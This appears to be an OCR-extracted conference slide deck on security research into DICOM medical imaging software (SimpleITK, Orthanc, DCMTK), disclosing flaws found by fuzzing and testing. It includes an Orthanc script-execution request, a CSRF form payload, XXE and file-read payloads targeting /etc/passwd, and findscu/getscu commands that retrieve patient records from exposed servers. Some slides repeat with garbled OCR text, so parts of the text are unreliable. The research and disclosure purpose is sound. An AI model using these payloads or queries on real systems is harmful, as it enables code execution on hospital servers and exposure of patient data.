How to Hack Medical Imaging Applications via DICOM

Maria Nedyak
Tomsk State University
Whoami

- Student at Tomsk State University
- Developer at BiZone
- Research group: AIsec Team
AISec Team

AISeq is a community-driven research project focusing on implementation security of artificial intelligence and machine learning technologies

Contributors:
- Sergey Gordeychik
- Denis Kolegov
- Antoniy Nikolaev
- Roman Palkin
- Maria Nedyak

[Links to repositories]
- [github.com/sdnewhop/AISec](https://github.com/sdnewhop/AISec)
- [github.com/sdnewhop/dicom](https://github.com/sdnewhop/dicom)
Medical Imaging

One of the most popular application of artificial intelligence (AI) is medical imaging.
DICOM

Digital Imaging and Communication in Medicine is a data format and a protocol for exchanging between various components, such as PACS, DICOM viewer, machine learning pipeline.

Detected CIOD: Computed Tomography Image
Specific Character Set: ISO_IR 100
SOP Class UID: 1.2.840.10008.5.1.4.1.1.2
SOP Instance UID: 1.2.840.113654.2.55.3213401741035348603155004672
Modality: CT
Series Description: Axial
Patient's Name: 026470d51482c93efc18b9803159c960
Patient ID: 026470d51482c93efc18b9803159c960
Patient's Birth Date: January 01, 1900
Medical Imaging
Medical Imaging
Medical Imaging
Clara Medical Imaging provides developers the tools to build, manage, and deploy intelligent imaging workflows and instruments - ushering in the next-generation of medical imaging.
CLARA MEDICAL IMAGING

Clara Medical Imaging provides develop and deploy intelligent imaging workflows for the next-generation of medical imaging.
DICOM Reader

DICOM Reader is a pre-processor that converts DICOM files into MHD files. Each DICOM series is converted into a single MHD file. DICOM files are associated with a DICOM series by the Series Instance UID header.

Requirements

Docker
NVIDIA CLARA

```
1 # Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved.
2 #
3 # NVIDIA CORPORATION and its licensors retain all intellectual property
4 # and proprietary rights in and to this software, related documentation
5 # and any modifications thereto. Any use, reproduction, disclosure or
6 # distribution of this software and related documentation without an express
7 # license agreement from NVIDIA CORPORATION is strictly prohibited.
8 
9 import os
10 import logging
11 import SimpleITK as sitk
```
SimpleITK

- Fuzzing with AFL
SimpleITK: Heap buffer overflow

- Fuzzing with AFL

```
masha@infinity-desktop:~$ ./DicomSeriesReader heap-overflow.dcm
===============================================================================
==24915==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f323ad7d800 at pc 0x000000502b0c bp 0x7fff51dfec50 sp 0x7fff51dfe400
WRITE of size 524288 at 0x7f323ad7d800 thread T0
#0 0x502bcb in __asan_mempy (/home/masha/DicomSeriesReader+0x502bcb)
```
SimpleITK: Heap buffer overflow

Edit 3:
Sorry, there are too many things broken to speak about, this version 1 will open so far HU consistent, I hope

Edit 3:
Sorry, there are too many things broken to speak about, this version 1 will open so far HU consistent, I hope
SimpleITK: Heap buffer overflow

CLOSE TICKET

WON'T FIX

Heap buffer overflow in itkImportImageContainer

Hello!

During an internal security assessment of the medical UI pipeline based on SimpleITK we found a heap buffer overflow in DoomReader.

In the attached file you can find an example of a file that triggers the exception.

example.tar.gz (259.5 KB)

The image has (0028,1053) Rescale Slope >1024 and no (0028,1052) Rescale Intercept attribute. Is it wrong, should be (0028,1052) Rescale Slope 1 (0028,1022) Rescale Intercept -1024

Edit:

and, BTW, Pixel Padding Value 66836 is wrong too (left as is)

Edit 2:

There is Pixel Representation 1 (2's complement, so -1024 may be not required at all or it is wrong too), wait a minute...

Edit 3:

Sorry, there are too many things broken to speak about, this revision will open so far. HU consistent, I hope
SimpleITK: Heap buffer overflow

A fix was committed via this PR:

github.com/InsightSoftware Consortium/ITK

Heap buffer overflow in itkimportImageContainer
by malaterre on 07:26AM - 24 Oct 19 UTC
2 commits changed 2 files with 27 additions and 7 deletions.

Heal buffer overflow in itkimportImageContainer

Hello!

During an internal security assessment of the medical UI pipeline based on SimpleITK we found heap buffer overflow in DoomReader.

In the attached file you can find an example of a file that triggers the exception.

example.tar.gz (259.5 KB)

The image has
0028.1053 Rescale Slope +1024 and no (0028.1052) Rescale Intercept attribute. Is it wrong? should be
0028.1053 Rescale Slope 1
0028.1052 Rescale Intercept -1024

Edit:
and, BTW. Pixel Padding Value 66636 is wrong too (left as is)

Edit 2:
There is Pixel Representation: 1 (2's complement, so -1024 may be not required at all or it is wrong too), wait a minute...

Edit 3:
Sorry, there are too many things broken to speak about, this revision will open so far. HU consistent, I hope
SimpleITK: **Buffer overflow**
SimpleITK: **Buffer overflow**

<table>
<thead>
<tr>
<th>Tag</th>
<th>Value</th>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0008,0005</td>
<td>CS</td>
<td>SpecificCharacters</td>
<td>ISO_IR 100</td>
</tr>
<tr>
<td>0008,0016</td>
<td>UI</td>
<td>SOPClassUID</td>
<td>1.2.840.10008.5.1.4.1</td>
</tr>
<tr>
<td>0008,0018</td>
<td>UI</td>
<td>SOPInstanceUID</td>
<td>1.2.840.113654.2.55.321</td>
</tr>
<tr>
<td>0008,0060</td>
<td>CS</td>
<td>Modality</td>
<td>CT</td>
</tr>
<tr>
<td>0008,103e</td>
<td>LO</td>
<td>SeriesDescr</td>
<td>Axial</td>
</tr>
<tr>
<td>0010,0010</td>
<td>PN</td>
<td>PatientName</td>
<td>aaaaaaaaaaaaaaaaaaaaaaaaaa</td>
</tr>
<tr>
<td>0010,0020</td>
<td>LO</td>
<td>PatientID</td>
<td>026470d51482c93eef</td>
</tr>
<tr>
<td>0010,0030</td>
<td>DA</td>
<td>PatientBirthDate</td>
<td>19000101</td>
</tr>
<tr>
<td>0018,0060</td>
<td>DS</td>
<td>KVP</td>
<td></td>
</tr>
<tr>
<td>0020,000d</td>
<td>UI</td>
<td>StudyInstanceNumber</td>
<td>2.25.1047568009314929</td>
</tr>
<tr>
<td>0020,000e</td>
<td>UI</td>
<td>SeriesInstanceNumber</td>
<td>2.25.1173246446310626</td>
</tr>
</tbody>
</table>
SimpleITK: Buffer overflow

```
---29361---ABORTING
masha@infinity-desktop:~$ ./DicomSeriesReaderGCC example.dcm.new
*** buffer overflow detected ***: ./DicomSeriesReaderGCC terminated
Aborted (core dumped)
masha@infinity-desktop:~$
```
**SimpleITK:** Buffer overflow

<table>
<thead>
<tr>
<th>CS</th>
<th>SpecificCharSet</th>
<th>ISO_IR 100</th>
</tr>
</thead>
<tbody>
<tr>
<td>UI</td>
<td>SOPClassUID</td>
<td>1.2.840.10008.5.1.4.1</td>
</tr>
<tr>
<td>UI</td>
<td>SOPInstancUID</td>
<td>1.2.840.113654.2.55.320</td>
</tr>
<tr>
<td>CS</td>
<td>Modality</td>
<td>CT</td>
</tr>
<tr>
<td>LO</td>
<td>SeriesDescr</td>
<td>Axial</td>
</tr>
<tr>
<td>PN</td>
<td>PatientName</td>
<td>aaaaaaaaaaaaa</td>
</tr>
</tbody>
</table>
15.1. Orthanc

15.1.1. Overview

Description from the tool website: "Orthanc aims at providing a simple, yet powerful standalone DICOM server. It is designed to improve the DICOM flows in hospitals and to support research about the automated analysis of medical images. Orthanc lets its users focus on the content of the DICOM files, hiding the complexity of the DICOM format and of the DICOM protocol.

Orthanc provides a RESTful API. The DICOM tags of the stored medical images can be downloaded in the JSON file format. Furthermore, standard PNG images can be generated on-the-fly from the DICOM instances by Orthanc.

Orthanc also features a plugin mechanism to add new modules that extends the core capabilities of its REST API. A Web viewer, a PostgreSQL database back-end, a MySQL database back-end, and a reference implementation of DICOMweb are currently freely available as plugins."
15.1. Orthanc

15.1.1. Overview

Description from the tool website: "Orthanc is a completely free and open-source DICOM server, designed to improve the DICOM flow of medical images. Orthanc lets its users to work in a DICOM format and of the DICOM platform, providing a RESTful API. The platform provides a format, Furthermore, standard PNG FIH format, allowing compatibility with a broad range of applications." Orthanc also features a plugin mechanism for the Orthanc Web viewer, a PostgreSQL database, and DICOMweb are currently freely available.

Orthanc provides a RESTful API. The platform provides a format, allowing compatibility with a broad range of applications.

Building AI with Clara Toolkits for Medical Imaging
8 941 просмотр · 8 июл. 2019 г.
NVIDIA Developer
28,6 тыс. подписчиков
• Lightweight and fast (written in C++),
• Standalone (all the dependencies can be statically linked),
• Cross-platform (at least Linux, Windows and OS X),
• Compliant with the DICOM standard (as it is built on the top of DCMTK),
• Programmer-friendly (REST API, JSON, PNG).
ORTHANC: IN THE WILD

Made with Grinder love❤️
ORTHANC: Insecure API

[  
  "create-archive",
  "create-dicom",
  "create-media",
  "create-media-extended",
  "default-encoding",
  "dicom-conformance",
  "execute-script",
  "find",
  "generate-uid",
  "invalidate-tags",
  "lookup",
  "metrics",
  "metrics-prometheus",
  "now",
  "now-local",
  "reconstruct",
  "reset",
  "shutdown"
]
ORTHANC: Insecure API

```python
In [8]: requests.post("http://localhost:8042/tools/execute-script",
   ...: data='command = "mkdir /tmp/test/ORTHANC";os.execute(command)')
Out[8]: <Response [200]>
```

```
Marias-MBP:test msh_smlv$ pwd
/tmp/test
Marias-MBP:test msh_smlv$ ls
Marias-MBP:test msh_smlv$ ls
total 0
drw-r-xr-x  2 msh_smlv  wheel  64 Nov 5 21:57 ORTHANC
Marias-MBP:test msh_smlv$ 
```
ORTHANC

ORTHANC has an official Docker image with enabled authentication

Running the Orthanc core

The following command will start the core of Orthanc, with all the plugins disabled:

```
$ sudo docker run -p 4242:4242 -p 8042:8042 --rm jodogne/orthanc
```

Once Orthanc is running, use Mozilla Firefox at URL http://localhost:8042/ to interact with Orthanc. The default username is `orthanc` and its password is `orthanc`.
ORTHANC: CSRF

Orthanc web app doesn’t have any CSRF prevention

```html
<html>
<body>
<form action="http://localhost:8042/tools/execute-script" method="POST" enctype="text/plain">
   <input type="hidden" name="cmd" value="mkdir /tmp/testCSRF; os.execute(cmd)"
   <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

CSRF payload
As now written in the Orthanc FAQ, "In particular, you must create a higher-level application so as to properly deal with CSRF attacks: Indeed, as explained in the introduction, Orthanc is a microservice that is designed to be used within a secured environment."


HTH,

Sébastien
ORTHANC: CSRF

- Consider implementing a higher-level application (e.g. in PHP, Java, Django...) that takes the only one to be allowed to contact the Orthanc REST API. In particular, CSRF attacks: Indeed, as explained in the introduction, Orthanc is a micro

- For advanced scenarios, you might have interest in the advanced author the OrthancPluginRegisterIncomingHttpRequestFilter2() function

Remark: These parameters also apply to the DICOMweb server plugin.
ORTHANC: **CSRF**

We decided to view orthanc documentation in google cache
Cache saved at September 25, 2019 doesn’t contain any warning about CSRF

Securing Orthanc
DCMTK

DCMTK (DICOM Toolkit) is a collection of libraries and applications implementing large parts the DICOM standard. DCMTK prototype was created in 1993, before the official release of the standard.¹

¹ https://dicom.offis.de/history.php.en
10.5. External DICOM Sender and DICOM Receiver

You need an external DICOM Service Class User (SCU) application to send images to the Clara DICOM Adapter (acting as a DICOM SCP). Similarly when your pipeline finishes executing, you may want to send the output to an external DICOM receiver. You may want to use an open-source DICOM toolkit called **dcmtk** for external DICOM sender and DICOM receiver.

### 10.5.1. Install dcmtk

Install `dcmtk` utilities by issuing the following command:

```
sudo apt-get install dcmtk
```

- Lightweight and fast (written in C++),
- Standalone (all the dependencies can be statically linked),
- Cross-platform (at least Linux, Windows and OS X),
- Compliant with the DICOM standard (as it is built on the top of DCMTK),
- Programmer-friendly (REST API, JSON, PNG).
DCMTK: DoS

- Fuzzing with AFL, libFuzzer

Public reports for DCMTK

Dicom Toolkit DCMTK provides tools for working with DICOM files.

We have found the following weaknesses and vulnerabilities:

1. DoS xml2dcm utility
2. DoS dcm2xml utility
3. DoS xml2dcm utility
DCMTK: XXE

Testing xml2dcm utility

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]
...<element tag="0010,0010" vr="PN" vm="1" len="32" name="PatientName">&xxe;</element>
...```

XXE payload
DCMTK: XXE

Converted file will contain /etc/passwd contents
DCMTK: XXE

Vendor said that this payload does not work on his machine hence xm2dcm utility doesn't have the XXE injection.
DCMTK: XXE

- xml2dcm utility uses libxml2 for reading xml

libxml2

The Enum xmlParserOption should not have the following options defined:

- XML_PARSE_N0ENT : Expands entities and substitutes them with replacement text
- XML_PARSE_DTDLOAD : Load the external DTD

Note:

Per: According to this post, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch.

OWASP XXE prevention cheat sheet
DCMTK: XXE

Search for the usage of the following APIs to ensure there is no `XML_PARSE_NOENT` and `XML_PARSE_DTDLOAD` defined in the parameters:

- `xmlCtxReadDoc`
- `xmlCtxReadFd`
- `xmlCtxReadFile`
- `xmlCtxReadIO`
- `xmlCtxReadMemory`
- `xmlCtxUseOptions`
- `xmlParseInNodeContext`
- `xmlReadDoc`
- `xmlReadFd`
- `xmlReadFile`
- `xmlReadIO`
- `xmlReadMemory`

OWASP XXE prevention cheat sheet
DCMTK: XXE

DCMTK indeed doesn’t use these options for XML reading. We continued researching this problem.
### DCMTK: XXE

```diff
diff --git a/dcmtk/apps/xml2dcm.cc b/dcmtk/apps/xml2dcm.cc
index f548ab0..6392fb9 100644 (file)
--- a/dcmtk/apps/xml2dcm.cc
+++ b/dcmtk/apps/xml2dcm.cc
@@ -933,10 +933,11 @@ int main(int argc, char *argv[])
     OFString tmpErrorString;
     /* initialize the XML library (only required for MT-safety) */
     xmlInitParser();
-    /* substitute default entities (XML mnemonics) */
-    xmlSubstituteEntitiesDefault(1);
+    /* do not substitute entities (other than the standard ones) */
+    xmlSubstituteEntitiesDefault(0);
     /* add line number to debug messages */
```
DCMTK: XXE

```c
int xmlSubstituteEntitiesDefault(int val) {
    int old = xmlSubstituteEntitiesDefaultDefaultValue;
    xmlSubstituteEntitiesDefaultDefaultValue = val;
    return(old);
}
```

libxml2/parserInternals.c
DCMTK: XXE

`xmlSubstituteEntitiesDefaultValue` is used by parser initialization

```c
1712    ctxt->replaceEntities = xmlSubstituteEntitiesDefaultValue;
1713    ctxt->record_info = 0;
1714    ctxt->nbChars = 0;
1715    ctxt->checkIndex = 0;
```

`libxml2/parserInternals.c (v2.9.1)`
**DCMTK: XXE**

`xmlSubstituteEntitiesDefaultValue` is used by parser initialization.

```c
1721  ctxt->replaceEntities = xmlSubstituteEntitiesDefaultValue;
1722  if (ctxt->replaceEntities) {
1723       ctxt->options |= XML_PARSE_NOENT;
1724  }
1725  ctxt->record_info = 0;
1726  ctxt->nbChars = 0;
1727  ctxt->checkIndex = 0;
```

`libxml2/parserInternals.c (v2.9.2)`
If OWASP contained more information about libxml2 we wouldn’t be confused

¯\_(ツ)_/¯
DCMTK: Insecure functionality

xml2dcm utility allows to read local files:

```xml
<element tag="7fe0,0010" vr="OW" vm="1" name="PixelData" loaded="no" binary="file"/>etc/passwd</element>
```
DCMTK: Insecure functionality

xml2dcm utility allows to read local files:

```xml
<element tag="7fe0,0010" vr="0W" vm="1" name="PixelData" loaded="no" binary="file"></etc/passwd</element>
```
DICOM Network

Exam → Storage Archiving
PACS System DICOM

Review for reporting
Workstation Monitor DICOM
DICOM Network: Common methods

- Test the connection between two devices (C-ECHO)
- Search the content of a remote device (C-FIND)
- Retrieve images from a remote device (C-GET, C-MOVE)
- Send images from the local imaging device to a remote device (C-STORE)
DICOM Network: Retrieving info

You just need two commands to retrieve data from DICOM server.
DICOM Network: Retrieving info

```
/ findscu -aet <AE Title> -P -k PatientName="*" <host> <port> \
\     ^     \
\    (oo)\    \
\   (_,__)\   \
\  /\    /\  \\
\ ||  ||  || \\
\  w   w   w \\
```
DICOM Network: Retrieving info

```bash
\ / findscu -aet <AE Title> -P -k PatientName="*" <host> <port>
\ /
```

```
\ ^__^
\ (oo)\_______
\ (_)
```

```
\ /  \___-
\ || ---W
```
DICOM Network: Retrieving info

```plaintext
/ findscu -aet <AE Title> -P -k PatientName="*" <host> <port> \
/ getscu -aet <AE Title> -P -k PatientName="John Doe" <host> <port> /
```
DICOM Network: Retrieving info

```
/ findscu -aet <AE Title> -P -k PatientName="*" <host> <port> \
/ getscu -aet <AE Title> -P -k PatientName="John Doe" <host> <port> /
```

```
  ^__^    
  (oo)
  ( __)
  \  /  
   \\
```

```
  ^__^   
  (oo)\_____
  (__)\  \/
```

```
  ^__^  
  (oo)\_____\_
  (__)\_____\_
```

```
  ^__^ 
  (oo)\_____
  (__)\_____\_
  |  -w  |
  |      |
  |      |
  |      |
  |_______|
  |      |
  |      |
  |_______|
```
DICOM Network: Retrieving info

That is it.

^__^  
(oo)
______
(____)\____/\____
   ^   ^
      W

HITBLOCKDOWN
DICOM: Usage statistics

2019 year: ~ 1000 servers
2020 year: > 2700 servers

Made with Grinder love ❤️
DICOM Network: Fuzzing

We have added **DICOM** protocol to **AFLNet**. To expand **AFLNet** you need to add two functions:

- parsing input packets
- retrieving status code from server’s response

[https://github.com/aflnet/aflnet/tree/master/tutorials/dcmqrscp](https://github.com/aflnet/aflnet/tree/master/tutorials/dcmqrscp)
DICOM Network: Fuzzing

<table>
<thead>
<tr>
<th>PDU Type</th>
<th>PDU Length</th>
<th>Protocol Version</th>
<th>Called Entity Title</th>
<th>Calling Entity Title</th>
<th>(Variable Field) Contains one or more Items shown below</th>
</tr>
</thead>
</table>

PDU Type is used as server’s status code.

Parsing input packets is based on PDU Length.
DCMTK: Fuzzing

dcmqrscp fuzzing with AFLNet

---

American Fuzzy LOP 2.5Gb (dcmqrscp)

**Process Timing**
- Run time: 11 days, 20 hrs, 5 min, 8 sec
- Last new path: 0 days, 4 hrs, 24 min, 22 sec
- Last uniq crash: 2 days, 5 hrs, 21 min, 0 sec
- Last uniq hang: none seen yet

**Cycle Progress**
- Now processing: 561* (67.51%)
- Paths timed out: 0 (0.00%)

**Stage Progress**
- Now trying: splice 6
- Stage execs: 4/16 (25.00%)
- Total execs: 43.2M
- Exec speed: 3.32/sec (zzzzz...)

**Fuzzing Strategy Yields**
- Bit flios: n/a, n/a, n/a
- Byte flios: n/a, n/a, n/a
- Arithmetic: n/a, n/a, n/a
- Known ints: n/a, n/a, n/a
- Dictionary: n/a, n/a, n/a
- Hovoc: 421/13.2M, 409/29.9M
- Trim: n/a, n/a

---

Overall results
- Cycles done: 37.5k
- Total paths: 831
- Uniq crashes: 3
- Uniq hangs: 0

Map coverage
- Map density: 9.30% / 11.07%
- Count coverage: 2.30 bits/tuple

Findings in depth
- Favored paths: 65 (7.82%)
- New edges on: 98 (11.79%)
- Total crashes: 4 (3 unique)
- Total timeouts: 16 (0 unique)

Path geometry
- Levels: 12
- Pending: 423
- Pending fav: 2
- Own finds: 827
- Imported: n/a
- Stability: 4.88K

---

++ Testing aborted by user +++

[()] We're done here. Have a nice day!
## Summary

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Product</th>
<th>Weakness</th>
</tr>
</thead>
<tbody>
<tr>
<td>SimpleITK</td>
<td>ImageSeriesReader</td>
<td>Heap-buffer-overflow</td>
</tr>
<tr>
<td>SimpleITK</td>
<td>ImageSeriesReader</td>
<td>Buffer-overflow</td>
</tr>
<tr>
<td>Orthanc</td>
<td>Orthanc</td>
<td>CSRF with remote code execution</td>
</tr>
<tr>
<td>DCMTK</td>
<td>xml2dcm</td>
<td>XXE</td>
</tr>
<tr>
<td>DCMTK</td>
<td>xml2dcm</td>
<td>DoS</td>
</tr>
<tr>
<td>DCMTK</td>
<td>xml2dcm</td>
<td>File read functionality</td>
</tr>
<tr>
<td>DCMTK</td>
<td>dcm2xml</td>
<td>DoS</td>
</tr>
<tr>
<td>DCMTK</td>
<td>dcmqrscp</td>
<td>DoS</td>
</tr>
</tbody>
</table>
AISec Upcoming talks

The Grinder Framework - Bringing Light to the Shodan

Anton Nikolaev
Denis Kologov

Location: Business Hall, Arsenal Station 2
Date: Thursday, October 1 | 10:00am–11:45am
Track: ☢ Network Attacks
Session Type: Arsenal
Thank You!